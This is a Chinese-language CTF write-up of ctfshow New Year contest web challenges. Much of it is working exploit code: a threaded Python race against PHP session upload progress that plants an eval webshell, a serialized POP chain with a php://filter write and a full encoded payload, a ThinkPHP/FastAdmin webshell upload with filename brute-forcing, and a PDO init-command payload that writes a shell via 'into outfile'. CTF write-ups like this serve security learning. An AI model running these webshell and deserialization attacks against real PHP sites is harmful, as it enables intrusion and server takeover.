目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. easy_include
    2. 2.2. easy_web (复现)
      1. 2.2.1. waf1
      2. 2.2.2. waf2
      3. 2.2.3. 序列化头
      4. 2.2.4. pop链
      5. 2.2.5. filterchain写文件
      6. 2.2.6. 命令执行
      7. 2.2.7. 非预期
    3. 2.3. 孤注一掷 (复现)
    4. 2.4. easy_login
    5. 2.5. easy_api (Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow元旦水友赛

2023/12/31 CTF线上赛 ctfshow
  |     |   总文章阅读量:

前言

什么跨年,等下拿shell了,交个flag先

官方wp:https://docs.qq.com/doc/DRlBMcWdhZW9ZUnFB

负数零的wp:https://fushuling.com/index.php/2024/01/23/ctfshow%E5%85%83%E6%97%A6%E6%B0%B4%E5%8F%8B%E8%B5%9B%E5%BE%85%E7%BB%AD/

Web

easy_include

file伪协议+session文件包含

<?php

function waf($path){
    $path = str_replace(".","",$path);
    return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
    include "file://".$_POST[1];
}

经典的几行php代码题

稍微看一下可以知道底下file协议可以任意读文件,然后过滤了.,开头必须是小写字母,也就是说不能目录穿越了

接下来本地测试一下file协议支持的几种读法:

在我的博客中曾经提到过file协议可以用127.0.0.1来读取文件

image-20231231125430853

测试发现localhost也可以读到根目录下的文件

image-20231231125715267

不过我们不知道flag文件的格式

但是在cookie里头我们可以发现有PHPSESSID,说明开了session

尝试session文件包含

exp:

import requests
import io
import threading
url='http://29273075-c82f-4e79-8937-13eaae3dd55b.challenge.ctf.show/' #引入url
sessionid='a07a636875b6a65a4fb6dec1f6274bc0' #PHPSESSID的值
data={
    "1":"localhost/tmp/sess_"+sessionid,
    "0":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');" #将木马写入1.php
    }
def write(session):
    fileBytes=io.BytesIO(b'a'*1024*50) #上传一个50k的文件
    while True:
        response=requests.post(url,data={
            'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[0]);?>' #将这段代码写入session文件中
        },
        cookies={
            'PHPSESSID':sessionid #同上,PHPSESSID的值
        },
         files={
             'file':('ctfshow.jpg',fileBytes) #上传这个文件单单只是为了抓个包,其他一点用都没有,可以删除
         }
         )
def read(session):
    while True:
        response=session.post(url,data=data,cookies={
            'PHPSESSID':sessionid      #包含session文件让第一个eval执行,然后执行第二个eval
        })
        response2=session.get(url+'1.php') #获得回显
        if response2.status_code==200:
            print('++++++perfect+++++')
        else:
            print(response2.status_code)
if __name__=='__main__':
        evnet=threading.Event()       #开启线程
        with requests.session() as session:        #多线程操作
            for i in range(5):
                threading.Thread(target=write,args=(session,)).start()
            for i in range(5):
                threading.Thread(target=read, args=(session,)).start()
        evnet.set()           #将信号标志设置为True,并唤醒所有处于等待状态的线程。

image-20231231125147760

image-20231231125252930

下班

image-20231231125844212

拿下五血,离pop神最近的一次

不过都是文件包含的话,貌似还可以用pear来做


easy_web (复现)

反序列化+php特性+c绕过正则&wakeup+filterchain base64去杂

这题可以说是ctfshow web入门的毕业题了

<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);


function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}

class ctf{
    public $h1;
    public $h2;

    public function __wakeup(){
        throw new Exception("fastfast");
    }

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
    public function __construct(){
        $this->chu0 = 'xiuxiuxiu';
    }

    public function __toString(){
        echo "__toString"."<br>";
        if ($this->chu0===$this->chu1){
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

            file_put_contents("ctfw.txt","");
        }
        return "Go on";
        }
}


if (!$_GET['show_show.show']){
    echo "开胃小菜,就让我成为签到题叭";
    highlight_file(__FILE__);
}else{
    echo "WAF,启动!";
    waf1($_REQUEST);
    waf2($_SERVER['QUERY_STRING']);
    if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);
    }else{
        echo "被waf啦";
    }

}

经典一堆waf

waf1

function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}
    
waf1($_REQUEST);

不允许有小写字母,对于序列化字符串来说肯定是过不去的

不过这里有$_REQUEST特性,传post参数绕过即可

waf2

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}

waf2($_SERVER['QUERY_STRING']);

匹配show,但是$_SERVER[‘QUERY_STRING’]特性,只能匹配没有url编码过的数据

序列化头

然后看反序列化前的第一个正则

preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])

首先是非法传参show[show.show

开头不能为O:数字或者a:数字(数组包装),可以确定是C绕过

pop链

接下来是pop链:ctf::__destruct -> show::__call -> Chu0_write::__toString

php版本5.5.9,绕过wakeup抛出异常的方法有CVE-2016-7124,因为反序列化的结果没赋值给变量,这里用不了fast_destruct

不过我们在上面c绕过就把这个wakeup绕了(

剩下几个魔术方法的触发也是需要一些trick的

  • 基操触发__call

    $a = new ctf();
    $a->h1 = new show();
  • 然后是__toString,正则匹配就可以触发,但是这个数组$args[0][0][2]不好处理,比赛时卡这里了

    不能这样赋值$a->h2[0][0][2]=new Chu0_write(),本地打印出来的结果为:

    [h2] => Array
            (
                [0] => Array
                    (
                        [0] => Array
                            (
                                [2] => Chu0_write Object
                                    (
                                        [chu0] => 
                                        [chu1] => 
                                        [cmd] => 
                                    )
                            )
                    )
            )

    乍一看是三维数组,但是因为__call($name,$args)中的$args已经是一个数组,所以h2只需要是二维数组即可

    正确的写法如下:

    $b = new Chu0_write();
    $a->h2 = array(array('', '', $b));

    打印的结果是:

    [h2] => Array
            (
                [0] => Array
                    (
                        [0] => 
                        [1] => 
                        [2] => Chu0_write Object
                            (
                                [chu0] => 
                                [chu1] => 
                                [cmd] => 
                            )
                    )
            )

    即二维数组

  • 接下来进了__toString,第一层匹配$this->chu0===$this->chu1

    只需要让chu0强等于chu1即可,那我们直接引用赋值就可以了

    $b->chu1 = &$b->chu0;

所以构造出基本的exp:

<?php

class ctf
{
    public $h1;
    public $h2;
}

class show
{
}

class Chu0_write
{
    public $chu0;
    public $chu1;
    public $cmd;
}

$a = new ctf();
$a->h1 = new show();

$b = new Chu0_write();
$b->chu1 = &$b->chu0;
$a->h2 = array(array('', '', $b));	// 等价于$a->h2=[[2=>new Chu0_write()]]

$c=new ArrayObject($a);
echo serialize($c);

反序列化的部分就到此结束了

C:11:"ArrayObject":167:{x:i:0;O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";R:10;s:3:"cmd";N;}}}};m:a:0:{}}

filterchain写文件

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}

$content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

            file_put_contents("ctfw.txt","");

稍微审一下,可以知道如果要命令执行的话就要控制$tmp的内容,而$tmp的内容需要写文件得到,文件名和内容是我们可控的

不过这个文件的内容开头写了ctfshowshowshowwww,很明显这样子是不能作为命令执行的

这个时候就要用到filterchain,和绕过死亡代码一样的方式通过base64去杂实现

waf里面要求只能出现一次base64,还ban掉了其它的伪协议和ucs-2编码

总之我们先测试一下限制一次base64解码的情况下能整出什么

image-20240111104609266

前面多出来的字符串编码后再解码出现了r、0这两个属于码表的字符,所以我们为了剔除这两个字符,需要构造过滤器组合使r和0变成非码表字符,最后被base64去杂

官方wp用的是utf-8,utf-16le,quoted-printable编码

测试一下:

image-20240111115520384

去杂成功

那么反过来生成我们要拼接的文件内容:

<?php
$b = 'system';
$a = iconv('utf-8', 'utf-16le', base64_encode($b));
echo quoted_printable_encode($a);
//quoted_printable_encode用于填充空字节,因为utf-8转utf-16le会产生空字节,file_put_contents会对空字节报错

所以这一部分的payload就是

GET:name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw

POST:chu0=c=003=00l=00z=00d=00G=00V=00t=00

命令执行

if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

最后命令执行直接env看环境变量就行

如果不在环境变量的话,可以用show_source配合chr()读文件,注意show依旧要url编码

结合上面所有的trick,最终的payload为

GET?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%37%3a%7b%78%3a%69%3a%30%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%52%3a%31%30%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env
                  
POST:show[show.show=1&name=1&chu0=1&cmd=1

image-20240111125811731

非预期

扫出了phpinfo.php,flag在环境变量里可还行


孤注一掷 (复现)

thinkphp

hint:TP框架本身的漏洞,需要研究某些机制的底层实现是否没有安全问题

二维码扫进去是rickroll(我自愿的)

扫一下靶机

image-20231231174545195

访问install.php,得知是FastAdmin框架

下载www.zip的源码,是thinkphp架构的

在 index 的控制器中发现文件上传的功能upload.php

<?php


namespace app\index\controller;


use think\Controller;
use think\Request;

class Upload extends Controller
{
    public function image(Request $request)
    {
        $file = $request->file('file');
        if( ! $file ) {
            $this->error("error.");
        }
        $info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');

        $filename = '/uploads/' . str_replace("\\", "/", $info->getSaveName());
        $this->success('', null, $filename);
    }
}

在这里可以知道上传的路径:ROOT_PATH . 'public' . DS . 'uploads'

那么只需要确定文件名,我们就能getshell

自己起一个tp5的环境

composer create-project topthink/think=5.0.* tp5  --prefer-dist

同时在extend\fast\目录下放一个Form.php:https://gitee.com/karson/fastadmin/blob/master/extend/fast/Form.php

然后把 application 文件夹替换进去

现在可以审计了,跟进到 thinkphp/library/think/File.php 的move方法

image-20240320222626324

看一下文件保存的命名规则,即跟进buildSaveName方法

/**
 * 获取保存文件名
 * @param  string|bool   $savename    保存的文件名 默认自动生成
 * @return string
 */
protected function buildSaveName($savename)
{
    if (true === $savename) {
        // 自动生成文件名
        if ($this->rule instanceof \Closure) {
            $savename = call_user_func_array($this->rule, [$this]);
        } else {
            switch ($this->rule) {
                case 'date':
                    $savename = date('Ymd') . DS . md5(microtime(true));
                    break;
                default:
                    if (in_array($this->rule, hash_algos())) {
                        $hash     = $this->hash($this->rule);
                        $savename = substr($hash, 0, 2) . DS . substr($hash, 2);
                    } elseif (is_callable($this->rule)) {
                        $savename = call_user_func($this->rule);
                    } else {
                        $savename = date('Ymd') . DS . md5(microtime(true));
                    }
            }
        }
    } elseif ('' === $savename) {
        $savename = $this->getInfo('name');
    }
    if (!strpos($savename, '.')) {
        $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
    }
    return $savename;
}

我们的目标代码为$savename = date('Ymd') . DS . md5(microtime(true));$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);

则文件名为date('Ymd') . DS . md5(microtime(true)) . '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);

路径中的前半部分年月日可控,后半部分和时间有关,那么可以碰撞

最后的保存路径大概就是url/20240320/md5(精确到小数点后四位的当前时间),文件后缀是pathinfo($this->getInfo('name'), PATHINFO_EXTENSION),也就是原上传文件的后缀,比如上传个 1.php 最后保存的文件就是md5(精确到小数点后四位的当前时间).php

所以关键就是上传文件,然后获取上传文件的时间,虽然微秒我们不知道,但也就9999位,直接爆破即可

先看一下服务器时间

image-20240320224328691

从http的返回头可以看到服务器时间

这里在官方wp给的脚本基础上修改了一下来爆破

import requests
from datetime import datetime
import subprocess
import pytz
import hashlib
from tqdm import *
# Author:ctfshow-h1xa

url ="http://3ea6b4e4-b289-4c8d-8f12-16e48e59c317.challenge.ctf.show/"
scriptDate = ""
prefix = ""

session = requests.Session()
headers = {'User-Agent': 'Android'}

def init():
    route="?url="+url
    session.get(url=url+route,headers=headers)

def getPrefix():
    route="index/upload/image"
    file = {"file":("1.php",b"<?php echo 'enana';eval($_POST[1]);?>")}
    response = session.post(url=url+route,files=file,headers=headers)
    response_date = response.headers['date']
    print("正在获取服务器时间:")
    print(response_date)
    date_time_obj = datetime.strptime(response_date, "%a, %d %b %Y %H:%M:%S %Z")
    date_time_obj = date_time_obj.replace(tzinfo=pytz.timezone('GMT'))
    date_time_obj_gmt8 = date_time_obj.astimezone(pytz.timezone('Asia/Shanghai'))
    print("正在转换服务器时间:")
    print(date_time_obj_gmt8)
    year = date_time_obj_gmt8.year
    month = date_time_obj_gmt8.month
    day = date_time_obj_gmt8.day
    hour = date_time_obj_gmt8.hour
    minute = date_time_obj_gmt8.minute
    second = date_time_obj_gmt8.second
    global scriptDate,prefix
    scriptDate = str(year)+(str("0"+str(month)) if month<10 else str(month))+(str("0"+str(day)) if day<10 else str(day))
    seconds = int(date_time_obj_gmt8.timestamp())
    print("服务器时间:")
    print(seconds)
    code = f'''php -r "echo mktime({hour},{minute},{second},{month},{day},{year});"'''
    print("脚本时间:")
    result = subprocess.run(code,shell=True, capture_output=True, text=True)
    script_time=int(result.stdout)
    print(script_time)
    if seconds == script_time:
        print("时间碰撞成功,开始爆破毫秒")
        prefix =  seconds
    else:
        print("错误,服务器时间和脚本时间不一致")
        exit()

def checkUrl():
    h = open("url.txt","a")
    global scriptDate
    for i in trange(1000,9999):
        target = str(prefix)+"."+str(i)
        md5 =string_to_md5(target)
        route = "/uploads/"+scriptDate+"/"+md5+".php"
        #print("正在爆破"+route)
        response = session.get(url=url+route,headers=headers)
        if response.status_code == 200:
            print("成功getshell,地址为 "+url+route)
            exit()

        h.write(route+"\n")
    h.close()
    print("爆破结束")
    return

def string_to_md5(string):
    md5_val = hashlib.md5(string.encode('utf8')).hexdigest()
    return md5_val

if __name__ == "__main__":
    init()
    getPrefix()
    checkUrl()

测了半天访问不到对应的url,脚本也是跑失败了好几次

后面发现官方脚本scriptDate这里的month没设置 <10 的情况导致目录是错的

image-20240321003050192

image-20240321003111159

这题本质上应该算是个逻辑漏洞,算不上底层


easy_login

红包题9改的,这次把写文件的方法去掉了

群主说是0day

非预期直接拿上次一血佬的exp秒了

exp:

<?php

session_start();
class mysql_helper
{
    public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=`nl /*`;'  into outfile '/var/www/html/3.php';"
    );
}
class application
{
    public $mysql;
    public $debug = true;

    public function __construct()
    {
        $this->mysql = new mysql_helper();
    }

}
$_SESSION['user'] = new application();
echo session_encode();

访问

http://70e52151-56eb-40af-b6e1-b986d7c749b7.challenge.ctf.show/index.php?action=main&token=user|O:11:%22application%22:2:{s:5:%22mysql%22;O:12:%22mysql_helper%22:1:{s:6:%22option%22;a:1:{i:1002;s:57:%22select%20%27%3C?=`nl%20/*`;%27%20%20into%20outfile%20%27/var/www/html/3.php%27;%22;}}s:5:%22debug%22;b:1;}

然后访问3.php


easy_api (Unsolved)